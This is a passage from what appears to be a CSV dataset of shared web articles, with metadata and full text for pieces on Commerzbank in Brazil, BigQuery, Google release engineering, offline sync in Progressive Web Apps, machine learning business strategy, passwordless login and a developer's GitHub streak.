clientes no Brasil"", explicou. De olho no fato de a Alemanha ser o quarto maior parceiro comercial do Brasil e a presença de mais de 1.300 companhias alemãs em solo brasileiro, o Commerzbank espera aproveitar sua tradição de quase um século e meio no mercado europeu e seis décadas de presença no Brasil, além do bom relacionamento com os players para atrair clientes no País. ""Nossa posição de mercado no Brasil é única. Nenhum concorrente tem um relacionamento tão estreito e individualizado com empresas alemãs e europeias quanto o Commerzbank"", afirmou Harald Lipkau, CEO do banco no Brasil. Os produtos financeiros oferecidos são cinco, todos destinados a empresas: cash management, trade finance, financiamentos, tesouraria/ fixa & moeda e investimentos. Com a abertura da subsidiária em São Paulo, o segundo maior banco alemão também busca maior entrada no mercado latino-americano, onde já conta com escritórios de representação em países como Argentina, e Chile. Atualmente, o banco alemão conta com 550 bilhões de euros em ativos. A iniciativa do Commerzbank contrasta com as de seu principal concorrente na Alemanha. Em outubro, o Deutsche Bank, maior banco do país, anunciou que deixaria de operar em dez países e demitiria 9 mil funcionários em um austero plano de reorganização que culminaria em um enxugamento de 9% da sua equipe. Os principais recuos ocorrem na América Latina, com o encerramento de operações em Argentina, Chile, Peru, e Uruguai, e a transferência das operações brasileiras de negociações de títulos para outros centros regionais e globais.",pt
1464897148,CONTENT SHARED,7414483722019578252,7645894863578715801,5662638437112457499,,,,HTML,http://greglturnquist.com/2016/05/good-developers-take-breaks.html,Good developers take breaks * Greetings Programs,"Something that has become crystal clear since I joined the Spring team is how important it is to take a break. Good code happens when developers take breaks. Of course there are times when I find myself working solid until 8:00 pm or later. But I try to make that the exception rather than the norm. Most of the time, I'm pulled away by my kids coming home from school. In fact, I'm often annoyed at stopping a minute early. And yet I'm astonished at how many perplexing problems I've solved by simply stopping, doing something else , and **BAM**, the answer pops into my head. Sometimes within minutes, sometimes the next morning while putting shoes on one of my kids. Those are the moments when I remind myself that developers take breaks. I consider that payoff for having stopped early. This phenomena is well know. In fact, you've probably heard of it. I also so it addressed keenly at a writer's conference last year . Your subconscious is still working on the problem whether you are or not. Sometimes, when you aren't actively trying to fix it, your noodle is freed up to look back at what you did, what you've read, and other things. While chatting with a teammate of mine at DevNexus , he expressed that if he hadn't taken various breaks, gone for walks and thought about the architecture he was designing, the project he was striving to build would never have happened. Reflection is a critical component. My martial instructor often taught ""visualize, visualize, visualize."" It's a mechanism to put your mind on the subject, even when you're not actively pursuing it. The key thing is telling yourself to take that break. To pause. To stop and not burn the candle at both ends. If you work that hard, your subconscious will be on the ropes. Those extra ideas that can often succeed when you may have failed all day, may not come at all. It's a big leap I know, but give it a try.",en
1464906723,CONTENT SHARED,5962268176939710955,-8020832670974472349,2348433893919184737,,,,HTML,https://cloud.google.com/blog/big-data/2016/06/bigquery-111-now-with-standard-sql-iam-and-partitioned-tables,"BigQuery 1.11, now with Standard SQL, IAM, and partitioned tables! | Google Cloud Big Data and Machine Learning Blog","BigQuery is Google Cloud Platform 's serverless analytics data warehouse. It's used by thousands of companies - both big and small - to store, understand, and analyze large amounts of data. Today, we're announcing a host of new features that make BigQuery more compatible with traditional big data workflows: Standard SQL Beta If you're familiar with the SQL standard or have used another standard-compliant SQL engine, you'll feel right at home with the Beta of BigQuery's revamped SQL dialect . Notable features that we've added with this new dialect include: More advanced query planning and optimization: BigQuery now provides very robust decorrelation, which allows you to write complex subqueries in any clause of your SQL statement (SELECT, FROM, WHERE, etc.) A richer type system with fully composable types: In addition to the existing data types BigQuery users are used to, we've added dates, times, arrays and structs, as well as additional support for timestamps Extended JOIN support: BigQuery now supports Theta JOIN , which offers the ability to use inequalities in your join key comparisons, as well as arbitrary expressions as JOIN conditions. While we think the updated dialect is a wonderful addition, there's no requirement that users switch, and for production use cases, we recommend users remain on the legacy SQL dialect. After we have a few more miles on the new dialect, we plan to launch it to general availability and recommend it as the default language for all projects. Identity & Access Management (IAM) Beta Now that BigQuery supports Standard SQL, you'll have more and more teams in your company requesting access to BigQuery projects. Earlier this year we announced Cloud IAM for Cloud Platform. We're now making IAM available for BigQuery as well, in Beta. This feature is currently being rolled out, so if you don't see it today you can expect it enabled on your projects this month - BigQuery roles will be made available in Google Cloud's ""IAM & Admin"" control panel. Cloud IAM fully automates managing permissions for BigQuery projects. Administrators can define fine-grained security policies they want for their users and resources. For example, let's say your marketing team needs to query data, but doesn't need to modify or upload data to get their job done. With Cloud IAM and Google accounts, this process is a breeze. Administrators can create several roles, such as viewer, editor, user or owner. Time based table partitioning Time based partitioning makes it easy and cost-effective for you to manage your data and write queries that span multiple days, months or years. You can now create tables with time-based partitions - you load the data, and BigQuery will automatically put it in the right partition. Querying partitioned tables is easy - you simply provide a date or range of dates you want, and BigQuery will limit data processed to the time interval specified. Imagine that you had a marketing campaign that spanned the length of 3 months. Here's an example of a query to analyze logs from the past 3 months. You no longer have to manually partition your tables beforehand - it just works! BigQuery only scans the data in the specified partitions, rather than the whole table. Not only is this query more performant, it also costs you a fraction of the cost of querying the full table! BigQuery and Kabam Businesses come to Cloud Platform for our unique data analytics platform, and today we'll show you one such example. Kabam i s an international entertainment company that produces free-to-play video games for mobile devices. Kabam's games include Marvel: Contest of Champions, Fast & Furious: Legacy, and Star Wars: Uprising. Their average gamer enjoys more than two hours of gameplay a day! Data analytics is critical to Kabam's ability to keep gamers engaged in a highly competitive marketplace. Marvel: Contest of Champions became wildly successful after its release in December of 2014. With big popularity comes big data - in-game events and logs were generating well over 1 TB of data per day, and their previous data warehouse was not able to handle this sudden scale. As a result, Kabam had no way to gather insights about the game for several weeks. Costas Piliotis, lead analyst on the game, had used BigQuery at a previous company and suggested the team to give it a try. In six days they were able to ingest hundreds of terabytes of past game telemetry data. More importantly, they could now query data over the lifetime of the entire game. Thanks to BigQuery, Kabam is able to store and understand every single player action within their games, from game monetization to fraud, from production bugs to level-completion statistics. Now that the data lives in BigQuery, Costas and his team are most excited about applying Cloud Platform's Machine Learning tools to the data to make their games even more entertaining. Here in the BigQuery team, we often hear stories like this one and immediately the question that follows from people who've never tried BigQuery is, ""How does this compare to my current data warehouse?"" Two weeks ago we shared a summary of a great series of experiments on cloud data warehouse solutions performed by Mark Litwintschik where BigQuery really stood out. We've made this short video to explain why BigQuery is unique, which we hope will inspire you to give it a try.",en
1464907229,CONTENT SHARED,-348408475077850711,-8020832670974472349,2348433893919184737,,,,HTML,https://www.oreilly.com/ideas/introduction-to-release-engineering?utm_medium=social&utm_source=twitter.com&utm_campaign=lgen&utm_content=mcnuttsre-excerpt-jj&cmp=tw-webops-books-videos-article-vlca16_mcnuttsre_excerpt_jj,Introduction to release engineering,"Curious about release engineering? Some would call release engineering an art. Here's how Google goes about it. Wide-angle Optical Multi-channel Probe (WOMP) (source: Energy.gov ). This is an excerpt from Site Reliability Engineering , edited by Niall Richard Murphy, Jennifer Petoff, Chris Jones, Betsy Beyer. The Role of a Release Engineer Google is a data-driven company and release engineering follows suit. We have tools that report on a host of metrics, such as how much time it takes for a code change to be deployed into production (in other words, release velocity) and statistics on what features are being used in build configuration files. Most of these tools were envisioned and developed by release engineers. Release engineers define best practices for using our tools in order to make sure projects are released using consistent and repeatable methodologies. Our best practices cover all elements of the release process. Examples include compiler flags, formats for build identification tags, and required steps during a build. Making sure that our tools behave correctly by default and are adequately documented makes it easy for teams to stay focused on features and users, rather than spending time reinventing the wheel (poorly) when it comes to releasing software. Google has a large number of SREs who are charged with safely deploying products and keeping Google services up and running. In order to make sure our release processes meet business requirements, release engineers and SREs work together to develop strategies for canarying changes, pushing out new releases without interrupting services, and rolling back features that demonstrate problems. Philosophy Release engineering is guided by an engineering and service philosophy that's expressed through four major principles, detailed in the following sections. Self-Service Model In order to work at scale, teams must be self-sufficient. Release engineering has developed best practices and tools that allow our product development teams to control and run their own release processes. Although we have thousands of engineers and products, we can achieve a high release velocity because individual teams can decide how often and when to release new versions of their products. Release processes can be automated to the point that they require minimal involvement by the engineers, and many projects are automatically built and released using a combination of our automated build system and our deployment tools. Releases are truly automatic, and only require engineer involvement if and when problems arise. High Velocity User-facing software (such as many components of Google Search) is rebuilt frequently, as we aim to roll out customer-facing features as quickly as possible. We have embraced the philosophy that frequent releases result in fewer changes between versions. This approach makes testing and troubleshooting easier. Some teams perform hourly builds and then select the version to actually deploy to production from the resulting pool of builds. Selection is based upon the test results and the features contained in a given build. Other teams have adopted a ""Push on Green"" release model and deploy every build that passes all tests. Hermetic Builds Build tools must allow us to ensure consistency and repeatability. If two people attempt to build the same product at the same revision number in the source code repository on different machines, we expect identical results. Our builds are hermetic, meaning that they are insensitive to the libraries and other software installed on the build machine. Instead, builds depend on known versions of build tools, such as compilers, and dependencies, such as libraries. The build process is self-contained and must not rely on services that are external to the build environment. Rebuilding older releases when we need to fix a bug in software that's running in production can be a challenge. We accomplish this task by rebuilding at the same revision as the original build and including specific changes that were submitted after that point in time. We call this tactic cherry picking . Our build tools are themselves versioned based on the revision in the source code repository for the project being built. Therefore, a project built last month won't use this month's version of the compiler if a cherry pick is required, because that version may contain incompatible or undesired features. Enforcement of Policies and Procedures Several layers of security and access control determine who can perform specific operations when releasing a project. Gated operations include: Approving source code changes-this operation is managed through configuration files scattered throughout the codebase Specifying the actions to be performed during the release process Creating a new release Approving the initial integration proposal (which is a request to perform a build at a specific revision number in the source code repository) and subsequent cherry picks Deploying a new release Making changes to a project's build configuration Almost all changes to the codebase require a code review, which is a streamlined action integrated into our normal developer workflow. Our automated release system produces a report of all changes contained in a release, which is archived with other build artifacts. By allowing SREs to understand what changes are included in a new release of a project, this report can expedite troubleshooting when there are problems with a release. Google uses a monolithic unified source code repository. Article image: Wide-angle Optical Multi-channel Probe (WOMP) (source: Energy.gov ). Dinah McNutt is a member of the Google Release Team. She assists teams in Google's Technical Infrastructure organization with automating their build and deployment processes. She was the program chair for USENIX Release Engineering Workshop '14, chaired LISA VIII, sat on several program committees, and gave talks and tutorials at numerous conferences including the Sun User Group, LISA, and Usenix Configuration Management Conference. Building functionality that really delivers the expected customer value The secret to successful infrastructure automation is people. Designing, building, and operating services from the perspective of customer goals helps improve quality. Learn about key microservices principles like Last Responsible Moment, risk sliders to assess benefit versus risk, heatlhchecks, and metrics.",en
1464909124,CONTENT SHARED,4277778562135834208,-8020832670974472349,2348433893919184737,,,,HTML,http://hood.ie/blog/beyond-progressive-web-apps-part-1.html,Beyond Progressive Web Apps Part 1,"Introduction I am very excited about a new initiative to make web sites and web apps more compelling for end users. And in this series of posts, I intend to provide a tutorial to get you up and running with it. The initiative is called Progressive Web Apps . And while it has ""Apps"" in the title, the principles and technology behind them are applicable across apps and sites alike. The best introduction into the topic is Jake Archibald's Google I/O 2016 talk: This three part tutorial is meant to be read as a follow-up piece to Jake's that talk, so I recommend you watch it. Especially if you are new to the topic, but also if you already know what a ServiceWorker is, there are a number of new things in there. I'll wait here sipping my tea while you watch. So no rush! Watched it? Okay. Welcome back! Let's go. There's an old saying I paraphrased in this tweet : ""Friends don't let friends build their own {CRYPTO, SYNC, DATABASE}."" - @janl on September 24th, 2014 What do I mean by that? Well, it's very hard to get these things right. Additionally, not getting them right will mean a lot of unhappy developers and end-users. In other words, these things are best left to the experts. However. Brought to its logical conclusion though, we'll end up with a situation where nobody is doing crypto, sync or databases anymore, because no new people learn these things., So there are exceptions. You can be an exception . Let's become experts in one of these things! Specifically, for the purposes of this series of posts: sync . Or, to put it another way: let's look at a bunch of different problems and solutions that relate to making data available offline. The Future After watching Jake's talk you might be convinced Progressive Web Apps are the future. Not just for single-page apps, but also for content heavy sites - like the Guardian . But even if you're not convinced, you might be interested in where this road leads to, and that's what this tutorial is about. You already know how to store your website's assets in a ServiceWorker cache. You already have some idea about how to store server-delivered content in IndexedDB . And you might know how to locally store user-entered data (think an address book, note taking, Foursquare favourites, and so on) in IndexedDB or localStorage so you can push it to the server when a network connection becomes available. We can already see a few different scenarios: server always pushes (news) client always pushes (notes) both push (Foursquare, email, or multi-device access of individual notes, and all forms of group data sharing.) Let's have a look at the different techniques required to make this all work. We'll see which applies to which use-case while we go through everything, step-by-step. The Scene: Background Sync In his talk, Jake shows an example of a chat application. Towards the end , he uses the Background Sync API to send new messages ""later"", whenever the browser thinks it has an actual internet connection (as opposed to having a network but not thinking there's an internet connection). This is a great UX experience: the interaction is done as far as the user is concerned. There is still an indicator that the message hasn't reached the recipient yet, but there is no need to keep the user waiting for any network operations. In the same talk, Jake explained that the browser (and sometimes mobile operating system) mechanics of determining whether a device is online are not very useful. That's because they only cover the connection from the device to the wifi router or cell tower. But there are a lot of steps between there and the final web server. For example: ISP routers, transparent proxies, satellite uplinks, just to name a few. Now imagine we are sending a message within a Background Sync event as shown in Jake's talk, but we're on a fast train that goes through a bunch of tunnels in fast succession. Or we are on a conference or hotel wifi. Or we're a large event with thousands of other people. Our phone might get a request/response going, and as a result, wakes up Background Sync and tries to send our message. But by the time the message gets sent, we don't get any requests going because the network became unavailable again.. Background Sync will then re-try at a later time. Which is great, and exactly what we want. We don't have to worry about whether the message is sent, because we know it will be, eventually. Now. Let's look behind the scenes. The Cycle of (the) Web Even though there are many hops at which things can go wrong in a HTTP request/response cycle (see part one and two of this Hoodie series on offline first), there are generally two parts: the request and the response. Each part can fail, so we have to account for the following scenarios: the request fails the request makes it, but the response fails Scenario one is neatly covered by Background Sync, but what about scenario two? Imagine we are sending a message. The server accepts it and sends it onwards to the final recipient. Then, the server responds to the device, saying it handled the message correctly. If that response fails, Background Sync will consider the message sending request as failed and will re-try it later. At that time, the server accepts the message and sends it to the recipient again. And now we've created a mess, because the recipient is left wondering why there are two messages that are exactly the same. And if we are really unlucky, our recipient will get an infinite stream of the same message because the same problem is happening over and over and over again. Let's see how we can avoid this. There are solutions for this exact problem that we can employ in the server portion of our app.. But we'll get to that later. For now, let's look at how to solve this more generically , so that we can solve the same problem when it comes up in very different contexts, not just when sending messages. Identity In programming, we generally work with bits of data wrapped up in objects. If we want to be able to refer to an object at a later time, we must be able to reference it unambiguously. Sometimes that means giving something a name (like an auto incrementing number) and sometimes we can derive an identity from a number of uniquely identifying properties of the object. For example: in an address book, assuming no two people have the same name (a bad assumption, but we'll get to this shortly), the identity (or ID) of an object could be derived from the combination of the first name and the last name. That would be an example of what is known in database circles as a natural key . The advantage of a natural key is that you don't need to store any extra data on the object to be able to refer to it later. It also means your data is easier to de-duplicate. Natural Key Disadvantages There are two disadvantages to using natural keys: changes in the natural key and the need for uniqueness. Key Changes Say your natural key is somebody's email address. Email addresses change, and you need to be able to deal with this change. For example, if you update someone's email address, but another object was using that as the natural key to refer to your object, that second object will need to update its reference.. While this type of change might be infrequent, other natural keys can change more frequently. This is opposed to an opaque key , or surrogate key , that is a number (like an account number, a social security number, a phone number) or string of random characters (e.g. a UUID ). Every time you've seen an auto incrementing ID column in an SQL database, that is a surrogate key. Uniqueness In our address book example, when your natural key is derived from last name and the first name, we may hit a problem. What if you know two people named Jane Smith? Our natural key is not unique, so if we try to look up ""Jane Smith"", we can't be sure which object to return. Surrogate Key Advantages Surrogate keys have the advantage of being agnostic to any changes in our objects' data. The disadvantage is that they are opaque, so there's no natural relationship between an object's ID and its data. The ID 43135 doesn't tell you a whole lot about a user record for Jane Smith. While these IDs are usually only used by computers, sometimes they leak out into the real world. Sometimes we even expect people to remember them and manipulate them. Not ideal.. In addition, they make debugging and logging harder, as devs are now forced to map IDs to objects' natural data to see anything useful. Moving Forwards Since we are looking at how to make data available offline , and since that means storing data on a end-user device and a server, we have multiple copies of all our data. So we need to be sure that any operations can unambiguously reference that data. So, when creating a new object that we give it a unique ID. And we can't guarantee this with natural keys. A new Jane Smith could be added on the server and the user's device while they can't talk to each other because one is offline. That would spell all sorts of trouble for us. Unless any of our data lends itself to be a natural key without the disadvantages, we use surrogate keys. Specifically we use UUIDs, because they have the convenient property that even though you still can't guarantee the uniqueness of natural data on disconnected devices, the chance of assigning the same UUID to different objects on two or more devices is so unlikely, we practically don't even have to consider it a possibility. With that sorted, we have a new problem. We have multiple sets of data, which may or may not diverge from each other in various ways. In my next post, I'll show you how to figure out what's changed, what needs syncing, and in what direction. This concludes part 1 of our series ""Beyond Progressive Web Apps"". Stay tuned for part 2: ""We need to know what's new"". Thanks to Noah Slater , Katharina Hößel and Jake Archibald for their reviews ❤",en
1464914016,CONTENT SHARED,3269302169678465882,-1443636648652872475,-6631146006024713322,,,,HTML,http://techcrunch.com/2016/06/02/the-barbell-effect-of-machine-learning/,The barbell effect of machine learning.,"If there's one technology that promises to change the world more than any other over the next several decades, it's (arguably) machine learning. By enabling computers to learn certain things more efficiently than humans, and discover certain things that humans cannot, machine learning promises to bring increasing intelligence to software everywhere and enable computers to develop new capabilities -- from driving cars to diagnosing disease -- that were previously thought to be impossible. While most of the core algorithms that drive machine learning have been around for decades, what has magnified its promise so dramatically in recent years is the extraordinary growth of the two fuels that power these algorithms - data and computing power. Both continue to grow at exponential rates, suggesting that machine learning is at the beginning of a very long and productive run. As revolutionary as machine learning will be, its impact will be highly asymmetric. While most machine learning algorithms, libraries and tools are in the public domain and computing power is a widely available commodity, data ownership is highly concentrated. This means that machine learning will likely have a barbell effect on the technology landscape. On one hand, it will democratize basic intelligence through the commoditization and diffusion of services such as image recognition and translation into software broadly. On the other, it will concentrate higher-order intelligence in the hands of a relatively small number of incumbents that control the lion's share of their industry's data. For startups seeking to take advantage of the machine learning revolution, this barbell effect is a helpful lens to look for the biggest business opportunities. While there will be many new kinds of startups that machine learning will enable, the most promising will likely cluster around the incumbent end of the barbell. Democratization of Basic Intelligence One of machine learning's most lasting areas of impact will be to democratize basic intelligence through the commoditization of an increasingly sophisticated set of semantic and analytic services, most of which will be offered for free, enabling step-function changes in software capabilities. These services today include image recognition, translation and natural language processing and will ultimately include more advanced forms of interpretation and reasoning. Software will become smarter, more anticipatory and more personalized, and we will increasingly be able to access it through whatever interface we prefer - chat, voice, mobile application, web, or others yet to be developed. Beneficiaries will include technology developers and users of all kinds. This burst of new intelligent services will give rise to a boom in new startups that use them to create new products and services that weren't previously cost effective or possible. Image recognition, for example, will enable new kinds of visual shopping applications. Facial recognition will enable new kinds of authentication and security applications. Analytic applications will grow ever more sophisticated in their ability to identify meaningful patterns and predict outcomes. Startups that end up competing directly with this new set of intelligent services will be in a difficult spot. Competition in machine learning can be close to perfect, wiping out any potential margin, and it is unlikely many startups will be able to acquire data sets to match Google or other consumer platforms for the services they offer. Some of these startups may be bought for the asset values of their teams and technologies (which at the moment are quite high), but most will have to change tack in order to survive. This end of the barbell effect is being accelerated by open source efforts such as OpenAI as well as by the decision of large consumer platforms, led by Google with TensorFlow , to open source their artificial intelligence software and offer machine learning-driven services for free, as a means of both selling additional products and acquiring additional data. Concentration of Higher-Order Intelligence At the other end of the barbell, machine learning will have a deeply monopoly-inducing or monopoly-enhancing effect, enabling companies that have or have access to highly differentiated data sets to develop capabilities that are difficult or impossible for others to develop. The primary beneficiaries at this end of the spectrum will be the same large consumer platforms offering free services such as Google, as well as other enterprises in concentrated industries that have highly differentiated data sets. Large consumer platforms already use machine learning to take advantage of their immense proprietary data to power core competencies in ways that others cannot replicate - Google with search, Facebook with its newsfeed, Netflix with recommendations and Amazon with pricing. Incumbents with large proprietary data sets in more traditional industries are beginning to follow suit. Financial services firms, for example, are beginning to use machine learning to take advantage of their data to deepen core competencies in areas such as fraud detection, and ultimately they will seek to do so in underwriting as well. Retail companies will seek to use machine learning in areas such as segmentation, pricing and recommendations and healthcare providers in diagnosis. Most large enterprises, however, will not be able to develop these machine learning-driven competencies on their own. This opens an interesting third set of beneficiaries at the incumbent end of the barbell: startups that develop machine learning-driven services in partnership with large incumbents based on these incumbents' data. Where the Biggest Startup Opportunities Are The most successful machine learning startups will likely result from creative partnerships and customer relationships at this end of the barbell. The magic ingredient for creating revolutionary new machine learning services is extraordinarily large and rich data sets. Proprietary algorithms can help, but they are secondary in importance to the data sets themselves. What's critical to making these services highly defensible is privileged access to these data sets. If possession is nine tenths of the law, privileged access to dominant industry data sets is at least half the ballgame in developing the most valuable machine learning services. The dramatic rise of Google provides a glimpse into what this kind of privileged access can enable. What allowed Google to rapidly take over the search market was not primarily its PageRank algorithm or clean interface, but these factors in combination with its early access to the data sets of AOL and Yahoo, which enabled it to train PageRank on the best available data on the planet and become substantially better at determining search relevance than any other product. Google ultimately chose to use this capability to compete directly with its partners, a playbook that is unlikely to be possible today since most consumer platforms have learned from this example and put legal barriers in place to prevent it from happening to them. There are, however, a number of successful playbooks to create more durable data partnerships with incumbents. In consumer industries dominated by large platform players, the winning playbook in recent years has been to partner with one or ideally multiple platforms to provide solutions for enterprise customers that the platforms were not planning (or, due to the cross-platform nature of the solutions, were not able) to provide on their own, as companies such as Sprinklr , Hootsuite and Dataminr have done. The benefits to platforms in these partnerships include new revenue streams, new learning about their data capabilities and broader enterprise dependency on their data sets. In concentrated industries dominated not by platforms but by a cluster of more traditional enterprises, the most successful playbook has been to offer data-intensive software or advertising solutions that provide access to incumbents' customer data, as Palantir , IBM Watson , Fair Isaac , AppNexus and Intent Media have done. If a company gets access to the data of a significant share of incumbents, it will be able to create products and services that will be difficult for others to replicate. New Playbooks New playbooks are continuing to emerge, including creating strategic products for incumbents or using exclusive data leases in exchange for the right to use incumbents' data to develop non-competitive offerings. Of course the best playbook of all - where possible - is for startups to grow fast enough and generate sufficiently large data sets in new markets to become incumbents themselves and forego dependencies on others (as, for example, Tesla has done for the emerging field of autonomous driving). This tends to be the exception rather than the rule, however, which means most machine learning startups need to look to partnerships or large customers to achieve defensibility and scale. Machine learning startups should be particularly creative when it comes to exploring partnership structures as well as financial arrangements to govern them - including discounts, revenue shares, performance-based warrants and strategic investments. In a world where large data sets are becoming increasingly valuable to outside parties, it is likely that such structures and arrangements will continue to evolve rapidly. Perhaps most importantly, startups seeking to take advantage of the machine learning revolution should move quickly, because many top technology entrepreneurs have woken up to the scale of the business opportunities this revolution creates, and there is a significant first-mover advantage to get access to the most attractive data sets. Featured Image: a-image / Shutterstock",en
1464923376,CONTENT SHARED,2765063319512128208,5127372011815639401,-2629452978222634122,,,,HTML,https://medium.freecodecamp.com/360-million-reasons-to-destroy-all-passwords-9a100b2b5001?gi=4abb3186a8c1,360 million reasons to destroy all passwords - Free Code Camp,"Welcome back. Is that a new haircut? OK, now that you've changed all those passwords, tell me: how secure were your passwords? Can you even still remember them? If you're using a password manager like LastPass, great - it will remember your passwords for you. It will even generate ""high entropy"" passwords, where the sun will burn out before someone could crack it (50-character strings of random letters, numbers, and symbols). But what about when you're on your phone, or on someone else's computer? Do you really want to install LastPass just to be able to log into LinkedIn on another device? Oh, and in case you missed it, LastPass got hacked recently . That's right - even companies whose core value proposition is security can still get hacked. There are two types of companies: those who have been hacked, and those who don't yet know they have been hacked. - John Chambers OK - you didn't use a password manager. Instead, you came up with a really secure password. You used symbols, a number, and even an uppercase letter (which is a huge effort considering how much everyone hates to press the shift key). But now you can't remember this complicated new password very easily. It's cool. We'll just come up with some really long passwords that are easy to remember, but hard to guess. As appealing as the above XKCD approach may seem, random common words aren't any easier to remember, and are harder to type correctly, according to a Carnegie Mellon University study . Also, a specific type of attack known as a dictionary attack can crack passwords like this fairly quickly. OK, so numbers, symbols, and uppercase letters it is. Gosh, these are still so hard to remember. Just write it down on a sticky note, and stick it to the bezel of our monitor with all of your other passwords, for easy reference. Just kidding. Everyone knows that writing a password down is the most dangerous thing you can do, right? Right? Actually, there's something that's even worse. It's using the same password on more than one website. Because this means that if one of those websites gets hacked, the hackers can use that same password to break into your accounts on other websites. But since creating and remembering multiple passwords is inconvenient, more than half of people use the same passwords on multiple sites. I forgot my password. 88% of people have forgotten at least one password recently, and have had to go reset it. Here's what happens when you forget a password: You go to a website, click the ""forgot password"" button, and type in your email address You open an email from their website and click a magic link they sent you This magic link takes you back to their website and logs you, then forces you to come up with a new password that meets their password requirements (and every website's requirements are different) If you think about this for a moment, you'll realize that your password does not actually matter. The only thing that matters is that you have access to the email address that's associated with your account. Thanks to the password reset functionality that every website uses, every website already supports passwordless login  - they just don't call it that. So wait - if anyone who can access your email account can get into your other accounts without knowing your password, why the heck do we even need passwords? What if instead of constantly resetting our passwords, we used that same passwordless login that those ""forgot password"" buttons use, but simply logged in without pestering people to create a new (useless) password? Here's what happens on websites that use passwordless login: You go to their website and type in your email address You open an email from their website and click a magic link that takes you back to their website and logs you in Wow. The exact same level of security as a password reset, but you don't need to spend minutes coming up with a password. And you don't have to go back in and change this password the next time another major website gets hacked. Again, the only way someone can break into your account is if they can gain access to your personal email address. And if they can do that, they can gain access to your other accounts anyway, because your email account is the skeleton key to your life. It's literally the only website that actually must require a password (and with biometrics and other security innovations, even that password may soon become unnecessary). Passwords are a huge inconvenience. The average person has literally spent waking days of their life creating, remembering, and resetting passwords. And the ironic thing is that passwords themselves don't make you more secure - they make you less secure. So why do websites use passwords? No clue. I think it's just expected that they use passwords. Maybe it makes people feel more secure. Maybe people think it's faster to use passwords than than to tab over to their email inbox. It isn't. In the time it takes to reset one password, you could have used a passwordless login 10 or 20 times. Most websites never log you out because they know you'll forget your password, and probably won't bother signing back in. When was the last time Facebook prompted you for your password? Microsoft announced this week that they are banning all common passwords. As of 2016, the most common passwords are still ""123456"" and ""password"", with ""starwars"" and "" ncc1701 "" not far behind them. Destroy all passwords. Free Code Camp is getting rid of passwords. We're going to start just sending you a magic link when you want to sign in for the first time on a new device. We're not the first website to do this, either. If you used your email address to sign up for Medium, you probably noticed that they don't use passwords anymore, either. So let's ditch passwords. The web will be less frustrating. And a whole lot more secure. If you're on the fence about this, go change all your passwords. Really. You should. There have been a ton of password breaches just in the past week. See for yourself whether you've been affected by one of them. After you've gone and changed all your passwords, imagine never having to reset a password again, and being more secure - not less secure - because of it. For more reading on passwordless login, read this excellent article: And for more about the recent hacks: Stay safe out there! If you liked this, click the�� below so other people will see this here on Medium.",en
1464923401,CONTENT SHARED,-3605608255586388018,5127372011815639401,-2629452978222634122,,,,HTML,https://medium.freecodecamp.com/github-broke-my-1-000-day-streak-6ec0c4c3a7d9?gi=ec294df41928,"GitHub broke my 1,000 day streak - Free Code Camp","GitHub broke my 1,000 day streak ... and this is what I learned about myself, and open source, along the way. I was always planning to write a post when I broke my contribution streak. My first child (a beautiful baby girl we named Grace) was born five weeks ago, and I honestly didn't think my ""commit some code every day"" habit would last through that experience, or even leading up to it. Well, my habit did last. And this in no way reflects how present I was as a new parent, nor my ability to sort out my own priorities like a proper adult. Unlike some streak criticism, mine was personal and not for show or fame and wasn't a sign of a distressed work/life balance. Then again, when I started I didn't think it would last about a thousand days  - yet that's roughly how long it has been (how long for sure? GitHub won't tell you anymore, but based on my math it's about 980 days) Ultimately, all streaks will be broken, and like many long-lived ones, I guess I've been wondering why and how to end it. Out-lasting the feature on GitHub then - the one that inspired me to start it in the first place - seems like a fitting way to go out. This is my story, more because I want to tell it, than because I think you (or anyone) should read it. It's been a personal journey played out in a public space, and so this seems like a fitting way to wrap it up. Warning: this is a bit rambly. It's a snapshot in time of someone who's just worked at something for nearly three years and seen it disappear. The number isn't important, and the publicity less so. But it's been a constructive motivation in my life that I deliberately opted into, and I'm feeling pretty introspective and processing a lot now that the whole thing is done. My streak started in September 15th, 2013. I had returned from a five week honeymoon around Europe with my wife in July, and was ready to start a new life; by coincidence, that was also the day my company Thinkmill was officially registered. So, two birthdays in one. But it was probably two weeks later when I consciously decided to keep it up; like a personal challenge. I had also recently open sourced KeystoneJS which was one of the scariest moments in my life (what if people hate it! what if I get judged? what if I'm not good enough?) ... which lasted all of a few days until I realized nobody had noticed. Nobody cared, and nobody knew who I was. Heh. It's not actually that scary. Turns out if you want somebody to pay any attention to your open source stuff, you have to work for it . So the streak started as a public way to say ""Hey! I'm committed to this! You can trust my scrappy little open source project because I'm obviously paying attention to it and dedicated to building it!"" I went about two weeks before I knew I'd have to tell my wife; if I didn't have her buy-in, there was no way it was going to hold up. So I did, expecting her to dismiss it; instead, she got that I was doing something different and important to me, and encouraged me instead. I thought I'd go for a few months maybe, if I was strong. A few months in, my initial motivation of ""something to prove"" had disappeared and two patterns emerged instead: It got hard. There were days when I didn't want to keep it up. I wanted to tap out and let it go. Hardest of all was when I was under the gun at work and already pulling 12 hour days on things that didn't count. But I'd come so far; just do something. So I did, and invariably a day or two later I would be past it, and things were easy again. Lesson #1 I realised that when I didn't have time to fix something big, I'd pick off an easy issue from the pile (turned out people did like Keystone, and the natural result of this is GitHub Issues) and fix it. I was addressing things users cared about, and the quality of my project was better for it. This ""good maintainer"" thing led to more interest, more engaged users, and eventually some amazing contributors / collaborators. Lesson #2. Buoyed by this, I was feeling really good about the streak. I was also refining my art. I love coding, even though I often get caught up with business / management / architectural concerns, and no matter what else I do, coding is my art. Dedicating time to it every day (#1) and collaborating with an ever-expanding community (#2) are the best things I've ever done to develop my skill and experience. April the next year, my wife and I went on holiday to China for a couple of weeks. I was sure this was the End Of The Streak. Because I'm not going to let it be my life! It's not healthy . Plus, there's no way my wife would have patience for me coding on holiday :) ... but I was wrong. Initially, because I checked my notifications at the airport and merged a really good looking PR (being responsive to contributors is really important, more on this later!) Then I fixed a simple bug. It had momentum, and was so easy to keep up. About halfway through my wife asked ""have you done your streak yet?"" and I told her ""no, I'm not worrying about that"". She insisted. She'd seen the positive impact it had on me, and encouraged me to continue. For all the months I'd benefit from it after we'd come back, it was worth 15 minutes a day for the next week. I'd worked so hard for it, she said, don't throw it away now. ""Have you done your streak yet"" became a common refrain in our house over the next couple of years, always with encouragement and never resignation. If things are good for you, the people who love you will notice and encourage them. Lesson #3 Having an unbroken streak of nearly a year seemed a bit crazy. One of my friends went on his own self-driven coding adventure (Hi Tom ��) and made up a status dashboard on a big TV in our office, Panic-style, and one of the modules on it was my streak, in an industrial ""days since last accident"" design. It was fun, and egged me on a bit. Turns out being disciplined can be social and fun. Lesson #4 Worth noting, though, at this point my life was set up around what I 